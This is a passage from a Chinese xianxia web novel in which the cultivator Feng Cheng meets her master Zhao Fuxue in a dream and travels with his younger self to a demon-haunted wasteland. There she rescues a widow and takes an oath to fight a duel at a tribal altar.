赵负雪道:“自此,我便不允姜徵带你出去鬼混——你对此颇多怨言。” 封澄干笑两声:“不敢,不敢,哪里敢。” 游人喧闹,二人一路买些零嘴甜食,一路走马观花地玩赏,不知不觉间,便到了街市尽头。 人流声渐渐远去,灯火渐次熄灭。 封澄咬了咬牙,松开了赵负雪的手。 “我们谈谈。” 赵负雪敛眸,片刻,收回了手,点了点头。 封澄道:“古安鬼门,你开的?” 赵负雪一言不发。 封澄咬牙:“你疯了,大开鬼门对你有什么好处?那天古安死了多少人,这些命债你还得过来吗?!” 赵负雪看着她,却慢慢地笑了,他居高临下地看着封澄,脸上露出了几乎能称得上是悲悯的表情。 “凡事皆有因果,”他道,“该死的人,无论我有没有开那座鬼门,皆会死在龟祭当晚。” 他的脸半隐在灯火下,像庙堂之中,被长明烛映着的俊美神像。 封澄道:“重伤你自己呢?杀了年少的自己,也是你的因果吗?!” 听了此话,赵负雪那平静淡然的眼神中a却露出了几分令人毛骨悚然的神色,他盯着封澄,笑了起来: “不。” “我杀不了他。” 封澄道:“什么意思。” 赵负雪慢慢地笑了:“不该死在当夜的人,是死不了的。” 封澄心头一跳,恨不得上去欺师灭祖:“说什么鬼话——这也是能随意去做的事吗!” 赵负雪平静道:“无人能撼动因果,哪怕是仙尊也一样。接我全力一剑,哪怕他灵力全盛时,亦是必死。” “可当日他连护体灵力都耗空了,迎我当胸一剑却还能活下来,你未曾想过缘由吗?” 封澄心头一跳。 因果不可改。 她克制着自己不去想这个问题,转而 道:“……捅的那一剑过了一个多月了,时不时便有新鲜血迹冒出来。” 静了静,她道:“你做了……手脚吗?” 这一听,赵负雪便笑得难以捉摸起来。 “手脚?”他把这两个字念得极为荒谬,“我杀他,还需要动手脚?你不如问问,是他自己做了什么手脚。” 封澄猛然一惊——这句话的意思是,小赵负雪自己又对伤口做了什么? 赵负雪评价道:“年纪不大,心眼不少。” “……怎么想的?”封澄思来想去,硬是琢磨不懂少年的脑回路,“自行撕开伤口,为了什么?多请两天病假?至于吗?” 一提到小赵负雪,封澄便肉眼可见地平静了下来,赵负雪看在眼底,唇角向下坠了坠,视线微不可查地移到了封澄的心头。 一根隐隐的红线,牵在二人胸口。 一月前还没有的。 赵负雪看着,便挑了挑眉。 他突然道:“你心悦他吗。” 话虽是疑问,语气却是肯定。 封澄冷不丁被这么一问,险些当场傻了,她脸腾地一下涨红:“这是什么鬼话!当然是清白得很,你即便不知道我,难道不知道你自己吗!” 赵负雪慢慢道:“封澄……封大人,在做孩子时你便不会说谎,如今不做孩子了,于此道上还是未有半分精进啊。” “我问你的心意,你却扯什么空穴来风的清白——” 封澄无力地闭了闭眼,开口打断了他:“如果你是来说这些的,那大可打道回府了,师徒有伦,你我心知肚明,无论从前过去,皆无可能。” 顿了顿,她又道:“既然已知他的伤势与你无关,我便没有别的话要问了……终途了,走吧。” 灯火渐渐远去,长街上空无一人,二人的影子一同映在绵延不绝的长街上,纠缠得难舍难分。 赵负雪静静地看着她:“当真终途了吗?” 封澄不欲与他再说,转头便要离开,忽然手腕一动,她回过头来,抬起头,静静的对上赵负雪的双眼。 “师尊。”她道,“自从彭山断剑后,你我便无半分瓜葛了。” 长生残,恩义绝。 她于众目睽睽下,亲手断了赵负雪赠她的长生,绝了二人的师徒恩义。 这句话,终于将封澄这些日子里大梦一样的自欺欺人毫不留情地撕了开。 血淋淋,深可见骨。 这些日子来,封澄几乎强迫地将前尘种种封锁在她的脑海深处。 来到这段平静的、什么事情都没有发生的二十年前,几乎是她不敢置信的一场美梦。 现在,大梦终醒了。 他想必是极为失望的。 当日他服下七剂猛药,强撑着身体来到了彭山之巅,看见她亲手断剑,看见她毫不犹豫地走入那群嘻哈乱笑的血修之中。 她没有回头,也不知道他当日表情。 此时此刻,赵负雪看着她,却很轻松地笑了。 “我只当你闹脾气,”赵负雪垂眸看她,认真道,“彭山断剑,我不认。” 封澄还待再说,却见赵负雪忽然丢过什么东西来,她下意识接过,在看清东西的刹那,瞳孔骤然紧缩。 “不过是一把剑,”他道,“断了又何妨。” 他丢过来的,是她当年的随身佩剑,长生。 熟悉的灵流涌动,是她那把无疑。 断剑残片,被融入炉中,重铸。 封澄难以想象,赵负雪是怀着怎样的心情,一片一片地将残片捡拾回去,再一片一片地融掉,在漫长的等待中,等待长生重新铸出来。 她喃喃道:“你真是疯了……” 赵负雪摇摇头:“有吗?好,你说有,便是有。可我只恨疯得晚了,若是疯早些便好了。” 封澄骤然咬紧了牙,她道:“我不要你的剑,你滚回去,我再也不见你。” 赵负雪看着她,温和而耐心,像极了一个好脾气的师长:“你若拿不起剑来,也无妨,从头修习,我陪你。” “如若不愿意拿剑,也无妨,一生都不拿剑也无妨,师尊会护着你,谁也伤不到你。” “阿澄,这里并非归处——回家吧。” 封澄无力道:“……我不会回去。” 赵负雪置若罔闻,他走近,温和地摸了摸她的头顶: “你为什么留下?——为了他?他有什么好?值得你留在原地,不肯清醒?” 封澄垂下了眼睛。 赵负雪笑了: “你想救他,”他道,“‘……让我想想,那场大劫,是不是快了?” 第60章 第60章惹姑娘哭的负心人 赵负雪道:“世事有可违,有不可违。大劫已是既定因果,不必做无用之功。” 他说得平静而淡然,仿佛大劫加身的人不是他一样,封澄不说话,只是用力地摇了摇头。 封澄道:“我非要亲眼看到无可挽回,才肯甘心。” 闻言,赵负雪似乎轻轻地叹了一口气。 “随你,”赵负雪道,“若你哪日想通了,我带你回家。” 远处似乎隐隐传来了一声鸡叫,竟是要天明了,梦境逐渐开始模糊,连同赵负雪的脸也一并模糊了。 “你要醒了,”赵负雪微笑道,“下次再见,不知又是什么时候。” 忽然间,封澄心头骤然生了别离的酸涩。 “师尊。”她道,“我……” 前世最后一次见面,绝堪称剑拔弩张,再次心平气和地站在一起,已然隔世。 “不必告别,”赵负雪摸了摸她的头顶,平静无比:“来日再会。” 白衣的角落已经渐渐碎作齑粉,这片飞烟遥遥而上,转瞬便席卷到了赵负雪的胸口,封澄伸手去抓,谁料眼前忽然一花,眼前猝然出现客栈的床帐。 翠色底,竹叶花,雪色剑坠摇晃,耳中隐隐有挑夫的叫卖声。 枕畔一把长剑,灵光莹润。 封澄坐在床上愣了愣,随即慢慢地低下头,无力地捂住了脸—— 赵家禁地。 赵狩站在地室之外,谨慎地检查了检查周身装备。 ——火灵石,有。 ——加厚加绒修士服,有。 ——发热鞋底,有。 万事俱备,他深吸一口气,抬手推开了地室的大门。 今夜又是他值班。 每次去地室,都是件要做足十八般心理准备的事情,地室的冷,连修为深厚、无惧寒暑的修士都会心生惧怕之意,赵狩甚至觉得在里面呼出的每一口气,最后都会被冻成冰棱子然后砸在脚上。 “只希望家主早些醒来,”赵狩伸手捏了捏墙壁,啧啧道,“再不醒,这地室大概要被冻脆了。” 正在他戳弄墙壁之时,指尖冰花忽然一动,紧接着,又厚又硬的霜花陡然散去一半,赵狩精神一振,大喜过望地跪向棺椁道:“恭贺家主出关!” 一片冰天雪地里,棺椁中慢慢地走出一个人来。 素白人影散着长发,胸襟半敞,未着足履,便这么赤足落在冰面上,好像这片冰天雪地于他无感一样。 赵负雪俯下身,留恋地摸了摸棺中新娘的脸。 说来奇怪,在这连石头都能冻脆的极寒里,一个死人的脸色,竟然是红润如桃花的。 她的皮肉柔软,骨骼坚韧,比在场的每一个人都像活人。 赵狩低着头,不敢抬头看去。 这嫁衣女子的脸,他曾见过的。 当年他奉公办事,行经御街,恰巧碰上封将军回京述职。 不过一回首,那道鲜衣怒马,策马疾驰的人便掠了过去……耀眼得令人过目难忘。 传言尸骨无存的叛国将军,战死沙场、恶名满身的佞臣。 赵狩闭了闭 眼。 ——也是家主名义上的亲徒。 感觉自己亲眼看了一场师徒不伦的戏码,赵狩只觉得自己大概要被灭口,偏生此时耳边又传来一道冷声:“去取穷道锁来。” 赵狩猛地抬头:“……?” 此锁乃赵负雪近年所寻,但凡活人,为此物锁上,除非取钥匙来解开,否则即便是灵力滔天、蛮力盖世之人,也是挣不开的。 赵负雪并未看他,他的手在棺中新娘的面上梭巡,半晌,用力地揉上了她的嘴唇。 霎那间,她的唇色便愈发嫣红起来,仿佛新娘初妆。 “欢迎回来,”他微笑着,“我已经等不及了,阿澄。”—— 封澄在床上怔怔坐了半日,才艰难地挣扎起床,她取下床头剑坠,绑在了长生上,此时门外又传来几声敲门响动:“醒了吗?起来用早膳了。” 是赵负雪,她应了一声,随即取水来梳洗过,穿好衣服,带好长生与随身行装,再下了楼去,赵负雪见她收拾行装,一时间有些疑惑:“怎么收拾起这些东西来了?不是昨日才到的古安,你的事情办完了吗?” 封澄本有些无精打采的,一想到此事便猛地来气了,她重重地瞪了赵负雪一眼,咬牙切齿道:“赵公子,你的伤势如何了!” 还在这里若无其事,若不是亲自从师尊口中得出了答案,谁会信有人能自己扯开自己的伤口! 赵负雪心头一跳,随即对上封澄视线,霎时便从中猜出了什么,他强作镇定,为封澄的碗中夹了一个汤包,偏过视线;“……说来奇怪,近几日似乎好得格外快一些,眼下已瞧不出什么来了。” 装蒜! 封澄给他一记眼刀,赵负雪忽然见封澄带下来的长生,当即奇怪:“哪来的剑?你还会用剑?” 长生灵光璀璨,一眼便是不凡之物,封澄有些噎住——总不能说是从另一条时空线送来的,于是只好含糊道:“……一个朋友送的。” 赵负雪微不可察地挑了挑眉。 昨日两人睡得极近,他又辗转半夜未眠,若有动静,他不可能全然不知。 且此剑绝非俗物,什么朋友能出手赠这样的灵剑? 不过看着封澄不欲多言的样子,他还是笑着摇了摇头,又一旁放凉的甜水拿来:“好,改日我也见见这位朋友。” 他这话说得理所当然又顺其自然,仿佛端着一副说不清道不明的正宫气度似的,封澄虽听着古怪,却也未曾多想,只打了个哈哈糊弄过去就是了。 “赵公子,”她道,“你接下来回洛京吗?” 赵负雪皱了皱眉,反问道:“你回去么?” 封澄道:“不回去,我打算四处看看,洛京嘛……早些年呆腻了。” 赵负雪:“那我也不回去。” 封澄笑了,明知故问道:“哎呀,那小赵公子要去哪里。” 封澄本想瞧瞧少年师尊少见的羞赧之态,谁料赵负雪抬起眼来,目光清明,毫不犹豫道:“随你去,你去哪里,我跟着去哪里。” 这话一出,封澄反倒噎住了,半晌,才道:“……我要去长煌大原。” 长煌大原乃大夏第一穷乡僻壤,乃是臭名昭著的天魔之地。 、 莫说世家公子了,即便是等闲修士,也不会到长煌大原这种地方游历。 一是人少,即便是降妖除魔做了功绩,也没人知道,二是那地儿着实凶恶,寻常游历碰到个人魔地魔,还能向周边修士求救,正比如海洛斯阵中的陈云与宝华楼里的侠医,可若是到了荒无人烟的长煌大原——那可真是叫天天不应,叫地地不灵了。 “提前说好,那地方凶险,你跟我去,我不保证你能活着回来。” 赵负雪毫不躲闪地看着她道:“我并非稚子,有自保之力,从你而行这事还做得到,你不必分心。” 封澄微微一怔,少年又笑了,一双眼睛中满是温暖的情愫,几乎要溢出来:“只要是随你而行,去多凶险的地方我都不怕。” 哪怕是瞎子,也无法忽视这样炙热的眼睛。 封澄看着他的眼睛,忽然就哑了。 她低下头,戳着盘中鼓鼓囊囊的包子,把那圆滚滚的红豆包戳得八面漏风,突然道:“其实,相伴至此,已经是缘分了。” 赵负雪的眼睛跟着她戳弄的包子走,片刻,声音里含着笑意:“你一人说了不算。” 封澄住了筷子,不敢抬头看他。 她默不作声地看向了摆在一旁的长生,一双总是盈盈含笑的眼中带着些涩意,她轻声道:“来顺客栈到赵宅要走一盏茶的时间,从古安到长煌大原的路要走七日,从洛京到古安的路要走半个月。” “如若有朝一日,我们分离的距离已经是穷尽年月不可及的,那也是没办法的事吧。” 本是随口闲聊,赵负雪也没料到封澄竟忽然郑重了起来,他也收敛了笑意,半晌,定定地看着她。 “御剑,用灵符,也要走许久吗?” 封澄道:“对。” 赵负雪想了想,又紧紧地盯着她:“你一个人去吗?” 封澄正要回答,赵负雪却伸出一只手来,生怕听到答案一样抓住了她的手,阻止她继续往下说:“你总有你的事情,我追不上你,所以不问你缘由,我只问一件事。” 他顿了顿,有些忐忑地接着问道:“——如果真有一天,你去了很远的地方,我却擅自走向了你身边,你……” “会不会生气?还愿不愿意见我?” 话音刚落,封澄的心头仿佛被重重地砸了一记似的,的眼眶骤然用上涩意,她再也难以自抑,一步冲过去,紧紧地拥住了忐忑不安的赵负雪。 四周用饭的客人一惊。 赵负雪被冷不丁一拥。傻了眼,他手足无措,脸色霎时涨得通红,连手都不知道往哪儿摆,半晌,他结结巴巴道:“怎,怎么了?你愿意么?” 生死咒初成,他几乎是本能地想要靠近封澄,此时此刻的相拥,令赵负雪心头如云絮般柔软,霎时便泥泞成了一团。 正头晕目眩之际,赵负雪忽觉胸前有些温热,片刻,传来闷闷的哽咽声。 这片温热的来源不会有其他,他后知后觉地冷静下来,片刻,手轻轻地放在了封澄的后背。 偏生此时,几个路人走过,见状便指指点点起来: “小姑娘哭着嘞,你瞧这公子长得这般俊俏,竟是个惹姑娘哭的负心人。” “世风日下,人不可貌相啊……” “还是个拿剑的——要不要报官?怕是遭人欺负了嘞。” 赵负雪的手轻轻地抚了抚封澄的头发:“……哭得这么厉害。” 封澄的头埋在他胸口,闷闷地摇了摇。 一旁人又指指点点:“受委屈了,一定是受委屈了!” 封澄忽然抬起头来,定定地看着赵负雪,片刻,郑重道:“如果是你走向我,无论从什么地方来,我都是愿意的。” 赵负雪觉得自己的心跳霎时停了一瞬,他脸色空白地看着封澄。 封澄郑重道:“我愿意见你,无论何时,无论何地,我都愿意见你。” 周围群众一哄而散:“散了散了,嗐!” “闹着玩儿呢!” “俺想俺老婆了,呜——” “……你哪来的老婆。”—— 赵负雪的空白状态直到坐上了马车,仍然很明显。 他仿佛梦游一样,迷迷糊糊地叫了马车,迷迷糊糊地在封澄对面落座,最后迷迷糊糊地看着对面封澄饶有兴味的脸,忽然就清醒了。 “醒啦?”封澄叼着车上果子,边啃边道,“你方才和梦游一样,租马车的人还以为我是拍花子的,临走时瞪了我好几眼。” 赵负雪:“……你打我一下,我是不是还在做梦。” 封澄丢给他一粒果子,戏谑道:“打?不舍得。小赵公子花容月貌,那租车行的小姑娘见赵公子美貌,恨不得把 眼睛撕下来贴您脸上,若非我带着剑,怕不是要从我眼前抢人了——喏,果子也是小姑娘给的,我瞅着比隔壁马车多了一半。” 赵负雪哭笑不得,道:“好吃么?” 封澄卡擦一口咬了一般,嚼了嚼:“还成,配得上公子美貌。” 一路笑闹,二人往北去,人烟肉眼可见地稀少起来,封澄扒在窗口探,赵负雪看得好笑,自然而然地拉下纱窗:“黄沙呛人,你也不怕吃进嘴里。” 长煌大原分荒季与丰季,丰季水土丰茂,可放牛羊,荒季黄沙吞地,牛羊得向南边来一些,此时在丰季与荒季交替的时候,故土地冒着青茬,仍盖不住扑面而来的黄沙。 封澄笑笑,道:“血修皮厚,可做城墙,区区黄沙,何足挂齿,若不是怕黄沙砸了赵公子的脸,我今日连车马也不坐,只管下去跑了。” 赵负雪连日间忐忑不安、上下起伏的心被封澄几句愿意安安分分的按在了胸膛之中,他心中前所未有地安宁。 忽然间,二人看见遥遥荒原中一个踉踉跄跄的影子。 是什么东西? 封澄眯着眼睛看,这一看便大惊失色——是一个人! 那人影背着个不小的包裹,于沙丘上跌跌撞撞,像一只笨拙苍老的蜗牛,封澄当即毫不犹豫地叫停车夫:“这地儿停一下!” 车夫一听,登时摇头道:“姑娘,这地儿可停不得了,不久前这地才闹过天魔,遍地都是吃剩的残尸,你说要是碰上哪个天魔饿了回来吃饭,咱们便都得交代在这儿啦!咱们车上有天机所的灵器护着才不妨事,你要是下车,可就没东西护着啦!” 封澄看着那踉踉跄跄的人影又滚倒在地,心道这更得停了,于是道:“你只管停车,剩下的不必管。” 车夫见她坚持,只好叹了口气,叫停了马车,道:“姑娘艺高胆大,我上有老下有小的,便不随姑娘下去了。” 此时赵负雪也提剑下来,他对封澄道:“看见什么了?” 封澄指指那人影:“这季的风沙大,夜间又极冷,即便是修士亦受不了。现在天色晚了,又前不着村后不着店的,那人看着也不像修士,怕不是会死在这里。” 赵负雪闻言,点头道:“原来如此。” 走过去,封澄才发觉,那车夫所言不虚。 这地方已经不能用惨烈来形容了,几乎入眼处皆是五花八门的尸体,封澄凝神——全的,不全的,吃了一半的,撕了内脏的…… “影魔,”封澄道,“便宜玩意,尖牙利齿,只有兽性,没有神智。” 、是她吃了都嫌废牙的东西。 赵负雪道:“此物从来都是成群结队出现,昼伏夜出,隐蔽性极强,这村落想必也是做过准备的……只是偏偏碰上了影魔。” 二人心底皆有些沉痛。 不多时,二人便走向了那背着包裹的人——靠得近了,封澄才看清楚,那是个强壮的中年妇人。 她身形颇为胖大,想必是做惯了活计的,头发干净利落,以一根长木簪盘着。她本背着包裹艰难行走,忽然被叫住,回头时面上有些不善神色,在看清叫住她的封澄时,神色却是有些缓和。 “……小姑娘,在这种地方跑什么跑!” 封澄刚要开口,谁料先遭了这妇人的抢白,赵负雪道:“夫人,我们……” 妇人一见赵负雪,更加横眉冷对了;“就是你们这种长着好面皮,却不干正事的娃娃,拐着人家姑娘往荒山野岭里钻!” 封澄额角一跳,她觉得自己的膝盖微妙地中了一箭,忙道:“此时天晚了,指不定何时天魔便回来了,一人独行危险,不如跟我们的车马一走,要去哪里,捎夫人一程。” 妇人挺了挺胸膛:“我还怕这个!天魔要来,就来!我还怕它们吗?” 说话时,她背后的包裹哗哗有声,封澄耳尖地分辨出来,这是骨骼碰撞的声音。 话音未落,身后忽然传来一声天魔咆哮,紧接着一阵腥风猛地扑向了妇人,妇人当即大叫一声,哇哇着掏出了腰间木棍。 封澄暗骂一声,长生出鞘。魔·蝎·小·说·MOXIEXS &M.o.X.i.exs& 60-70 第61章 第61章滥用咒法,天雷加身 第一把剑,穿心。 第二把剑,腰斩。 几乎同时,两道雪亮的剑光闪向了背后的天魔,只见剑光一落,乌黑浓稠的血随着其腹中内脏而一并爆出,妇人愣怔着举着木棒。 乌黑的黏稠内脏溅到了她的身上。 在足以杀死人的寂静后,荒原上骤然响起了一声高昂的尖叫。 “……” 妇人再度苏醒时,天色已经擦黑了。 她吃力地睁开眼睛,眼前一片黑灯瞎火,身下马车不断晃动,而身上不容忽视的粘腻与腥臭更是提醒着方才发生的一切。 陡然间,她忽然想起来什么,猛地抬手一摸,霎时面无人色——包裹呢?! 正在她慌张之际,黑灯瞎火中,有一素白修长的手幽幽地递了过来:“找这个?” 刹那间,一切恐怖鬼话席卷了妇人的心头,夜空中霎时又响起一道炸雷似的嗷声,那素白人手顿了顿,似乎很是无奈:“……” 妇人这才反应过来,这似乎便是今日那少年的声音,她讷讷地坐下身,有些尴尬地从少年的手中接过了包裹:“……啊,原来是你们。” 她缓过了神,自知若非今天在荒原上碰到了这两人相助,此时便该被那突然袭击的天魔撕成几块,做新的口粮了。 这么一想,妇人便有些脸热,她摸索着包裹中的骨骼,心头的感激之意不知要怎么说好。 夜已深了,马车于荒原上疾驰,头上顶着惨白月色,车上挂着天机所配发的灵器,这灵器色泽温暖,却亮到了耀眼的程度,犹如指路明灯一般。 厉风呼啸,时不时还有天魔的啸叫从风的另一边传来。 车外冰冷森白,而车内温暖黑暗。 妇人如坐针毡,对面那少年却像看出了她心中所想,手指做了个噤声的动作,紧接着,她便听到一两声模模糊糊的梦呓,仿佛睡熟的人不满的嘟囔一样。 少年安抚道:“好了,好了,什么事都没有,安心睡。” 梦呓声不见了。 马车帘子恰时被风撩起,透过映进来的月光,妇人看见那少年端然坐着,膝上伏着一个沉睡的身影,身上盖着一件雪白的外裳,呼吸有规律地起伏着。 妇人有些傻眼地看着他掩在女子耳上的手,忽然就恨不得把马车底下掏个洞钻进去了。 “有事情,明日再说,”少年一转方才的温情脉脉,冷冷道,“阿澄在睡觉,安静。”—— 长煌大原已经入秋,天气便格外冷些,封澄在马车上抽了抽鼻子,耳边忽然传来略微嘈杂的吵闹,她眼睛一睁,猝然惊醒。 这是在哪里? 身旁空无一人,她坐起身来,正要寻赵负雪,忽然一件雪白外裳自他肩上滑下,封澄捡起外裳来,看了看,撩起帘子就要往下跳,谁知帘子还没起来,面前的车帘便被挑开,紧接着便是赵负雪那张俊脸,封澄一惊,肩上却被他不由分说地穿上了什么,低头一看,竟是一件天青色的厚实披风。 赵负雪闷闷:“那夫人硬要买给你的,不好看,过会儿我给你裁件新的……先出来透气。” 这件外裳是厚实的羊毛,一披上,当即严严实实地为她挡住了长煌大原那无孔不入的寒气,虽说修士不惧寒暑,可封澄捧着披风,还是觉得应该穿上,她道:“这一件就够了,多了嫌热。” 赵负雪不说话了。 一下车,那妇人便略微局促道:“给姑娘添麻烦了。” 封澄摇了摇头:“不麻烦——方才我听见外面吵嚷,可是出了什么事?” 马车停下的地方是一处不大不小的城,长煌大原虽荒芜,但还是有几处热闹之所,虽远不上中水、汉阳、洛京这些富饶地方,但还是能有些人烟的。 照封澄对长煌大原的了解,吵嚷到此等程度的地方,已经能在此地称为闹市了。 赵负雪皱眉道:“两伙人打起来堵路,此地天机所偏远,若是没人,我便上了。” 打起来? 封澄当即好奇无比,钻下去就要去看,不料后颈忽然被一拎,紧 接着身后便传来一道含气的声音:“前面混乱,刀剑乱飞,知道你头铁,却也不必头铁至此。” 自打那日早膳之后,赵负雪管起她来便是理直气壮的。 可偏生拎后颈这回事,她真是业务熟悉了,封澄当机立断地一矮身,随即泥鳅似的从赵负雪手中滑了出来,徒留赵负雪手上的青绿披风,赵负雪看着披风,又看了看已经跑远的封澄,一条青筋缓缓地从额角爆出。 “我去去就回!” 赵负雪咬牙,回头道,“与那车夫说,看好车马。” 封澄费力地钻进了人群之中,走得近了,才发觉赵负雪方才所言不虚,众人以两伙大汉为圆心,自行绕出了一个半里的大圆,空中刀光看得人眼花缭乱,除刀剑外,似乎还有菜刀之物混杂其中。 正在她好奇之际,一把菜刀不知从何处飞来,随着破空一声,颤抖着扎在了封澄的脚尖。 封澄缓缓地低下了头:“……” 刹那间,她勃然大怒,热血上头地就冲了出去,怒道:“长没长眼睛!” 赵负雪拨开人群的刹那,轻微地磨了磨牙。 被这声音一炸,为首的两个一男一女寂静下来,空中乱飞的刀剑也当啷当啷地落在了地上,左边那位络腮胡子的大汉似乎哑了了,片刻,和另一边的彪悍女子同时转过脸来,杀气腾腾道:“什么人?” 封澄左右一看,一把拔出了插在她面前的那把菜刀,走上前道:“天机师办事,闲人回避!有什么事情不能谈?非要到大街上动刀动枪的?伤了人知不知道?堵了路知不知道?” 女子冷笑道:“哦,咱们这地带,倒闹出个天机师来管闲事了?” 封澄微笑道:“就说该不该管吧。” 刺眼的刀光一闪而过,登时身后忽然一声刀剑相击的脆响,封澄回身一看,竟是赵负雪阴沉着脸,执剑走了上来。 那络腮胡大汉收回飞刀,咧了咧嘴,意外道:“还有帮手?” 这击飞刀中灵力蕴然,两边竟然都是颇有所得的修士,封澄眯了眯眼睛,脑袋飞速运转——有什么架,须要两波修士大打出手? 封澄的心底不由得有了个猜测。 她抬了抬下巴,伸手便从赵负雪腰间摸了腰牌,笑道:“天机师办事,两位跟我回去。” 一个稚嫩丫头,于虎狼环伺中大放厥词,众彪形大汉皆哈哈大笑,女人也笑了道:“你是真的不想活了。” 她猝不及防,如同下山猛虎一样,手中重刀往地上一拖,霎时地上出现一道狰狞的拖痕,她拖着重刀冲向封澄,抬臂一挥——这重刀别说打人了,即便对面站着一只狰狞猛虎,天灵骨也该碎成齑粉了! 赵负雪毫不犹豫地拔剑,谁料封澄伸出手,轻轻地按住了他拔剑的手。 她不闪不躲,嘴唇翕动,张口说了一句话。 重刀落在她天灵上一寸,堪堪停住了。 围观之众本以为将见一番血溅当场之举,谁料竟是女人突然停了重刀,当即一阵大哗,随即便窃窃私语起来。 女人盯着她,脸色有些惊疑不定,她半信半疑地转过身,走了两步,又回头,极为凶狠地盯着封澄。 络腮胡奇道:“蝎子,你这刀出手二十年,何曾停过一回?莫不是活到这个年月,忽然便长了恻隐心肠出来?” 蝎子朝他啐了一口,骂道:“晦气,她要一打一,上祭坛!” 络腮胡一听,也傻了,他傻傻地转头看向封澄,半晌,才将将醒转过来,极为不信地扫视了她两眼,又冲她身前赵负雪报以轻蔑的一声冷哼,随即转身,一挥手道:“……上鼓,起祭坛,跟着蝎子走!” 这两拨打得难舍难分的人,竟然就这么毫无预兆地退下了,一旁人的人交头接耳几番讨论,更多的还是飞快地回头上了车马,堵塞难行的街道霎时开始运行起来。 人流蜂拥中,赵负雪问封澄:“你做了什么?” 封澄笑眯眯地向马车上走去:“长煌大原的老规矩,我要和她打架。” 的确,赵负雪离得近,方才的确听到了封澄所言,可那腔调奇怪,他竟当真不晓。 封澄道:“翻译过来挺简单的——意思是,向天起誓,我与你作赌。” 见赵负雪依旧是有些未懂的模样,封澄耐心地解释:“就是我要与她赌一场,她赢的话,可以从我身上取走任意一样东西,于我而言也是一样。当然,本来她是可以拒绝的,但是嘛……” 她眯着眼睛笑了:“我辈分大一些,用的是‘天’,她是‘人’,不能拒绝。” 这轻飘飘一句话没防住,竟然就这么赌上命了! 赵负雪登时觉得有些头晕目眩,他在原地缓了缓,强行镇定道:“胡闹。” 封澄笑道:“既然已向苍天起誓,便不能收回了,总归我不会输。” 说着,她便走向了身后的马车,赵负雪快走几步,一把攥住她:“为什么要去赌这个。” 封澄回头一哂:“这种祭坛,我上过千百回了,不碍事的,从没输过。” 话音未落,只见赵负雪静静地看着她,忽然扬声叫住了才走不远的蝎子与络腮胡,二人不耐地回过头,开口正要大骂,忽然赵负雪对着他们,准确无误地重复了一遍封澄所说的、冗长又拗口的誓言。 蝎子与络腮胡:“……” 蝎子怒气冲冲道:“你这个外来人,你瞎掺和……” 话音未落,身旁的众小弟便又劝又拖地将蝎子拖走了。 众人离开许久,封澄看着赵负雪:“……” 失策了,她怎么忘了赵负雪还有这个挂。 赵负雪垂眸看着她,道:“这样,我能和你一起上去了吗?” 封澄:“……” 赵负雪奇道:“为什么不说话。” 封澄扶额道:“祭坛供奉天地神灵,你并非此部族人,滥用咒法,天雷加身。” 照抄人家祖宗的誓言,一上祭坛,赵负雪必然挨劈。 赵负雪:“……” 第62章 第62章似是胜券在握 赵负雪垂着眼睛,良久,抬目看向了封澄。 “我是你的人了,”他看着她,抬起封澄的手吻了吻,“这样也劈我?” 封澄:“……” 她登时脸像烧了一般,腾地一下,从耳朵红到了脖子,封澄结结巴巴地抖开了赵负雪:“你,你吓死我了。” 赵负雪弯着眼睛笑了笑。 最近的祭坛不在镇里,而是在几十里远的一处荒原上,妇人与封赵二人不顺路,于是封澄便令车马先将妇人送到最近的驿站处,由赵负雪为她叫了车马,才送她上去。 临行前,妇人千恩万谢道:“姑娘与公子大恩,我真是此生难报,多亏有了你们,全儿的尸骨才得以回乡,我这条老命也……” 说着,她哽咽起来,拉住封澄的手道:“请姑娘告诉我你的住处,好叫我来日报答啊!” 封澄回头与赵负雪交换了一下视线,想了想,举起手中青色披风道:“这个,便够了。” 说着,她摆了摆手,放下了车帘,道一声:“走吧。” 马车辘辘而行,少了妇人,车中只有两人并肩而坐,封澄一靠近赵负雪, 脑袋便有些晕乎。 她不动声色地往一旁挪了挪。 赵负雪好似浑然未觉,封澄正暗暗地松一口气,谁知赵负雪忽然道:“你冷不冷?” 修士怎会这点寒意便冷?何况她身上还披着妇人送来的披风,想也不想地,封澄乖乖摇了摇头。 赵负雪从善如流道:“好吧,我冷。” 赵负雪转过头来,垂眸看着她,好看的眼睛里一时闪着封澄看不懂的色彩,封澄当机立断地就要脱下披风,赵负雪却按住了她几欲解下披风的手,他凑近,然后轻轻地圈住了封澄。 在赵负雪身上的冷香气全然包裹上来时,封澄有些怔住了。 他将头埋在封澄颈间,调整到了一个舒服的位置,然后笑道:“这就暖和了。” 严丝合缝,就连呼吸也缠绕在一起。 那条封澄躲出来的缝隙,仿佛从未存在过。 “……” 更晕了。 相贴的呼吸之间,封澄忽然想起一段往事。 在她初到师尊身边生活时,并不习惯做一个不知寒暑的修士,她习惯夏日乘凉、冬日取暖,一应生活习性,皆如旧日。 赵负雪灵力属寒,又是早已修成的修士,按修士体质来说是不怕冷的,可她却发觉,这位修士却不太一样。 他不怕冷,却颇有些贪暖和。 这点儿还是她无意中发现的。 每逢冬日,她一烧炭盆,不过片刻,便能在炭盆旁捉到一个合着眼睛的师尊,顺便还有他带来丢在炭盆旁的果子。 他总是若无其事地来,又不知何时地去,封澄本想替他屋子里也燃一个炭盆,以免他腿脚不便还要辗转,却不想这话一提出来,便得了此人一张冷脸,第二日,炭盆前便不见他了。 封澄马屁拍到马腿上,丈二和尚摸不着头脑,然后待到了第三日,他依旧准时到来。 经此一事,她索性不提了,只将炭盆里加足了银丝炭,哪怕她平日不在屋中,屋子里照旧是暖和的,好让他无论何时想来,都能取到暖。 本以为这样便能解决炭盆问题,结果封澄万万没想到——后来见着赵负雪,此人连冷脸都不肯给她了。 这个问题,封澄想了半辈子,仍然难解,最后只好觉得赵公子脾气大,难伺候得很。 此时此刻,封澄看着贪暖的赵负雪,生怕再折腾出他一个冷脸来,于是不欲多言,老老实实坐着不动,便由他圈着去了。 赵负雪察觉到她的安静,嘴角轻微地一勾,下巴埋在封澄的发上,不动声色地嗅了嗅。 待二人行至祭坛处,祭坛边早已团团地围满了人,此时天色已擦黑,祭坛边凑着一圈一圈的火把,仿佛燃不尽的火云一样。 坛上站着一男一女两个高大身影,女子靠着重剑,男子拖着流星锤,火光映得二人影子无比巨大,仿佛无可战胜。 蝎子居高临下道:“‘天’,我本以为你不会来了。” 封澄从马车上走下,抬眼笑道:“怎么会,我们是对着天起誓的。” 众人齐齐看向封澄,平心而论,同是女人,封澄与蝎子着实差得太远,一个手持重剑,精悍蛮壮,一个中梳着乖乖的双环头,年轻稚嫩,穿着桃粉衣裳,连把趁手的武器也没有,着实是…… 对比惨烈。 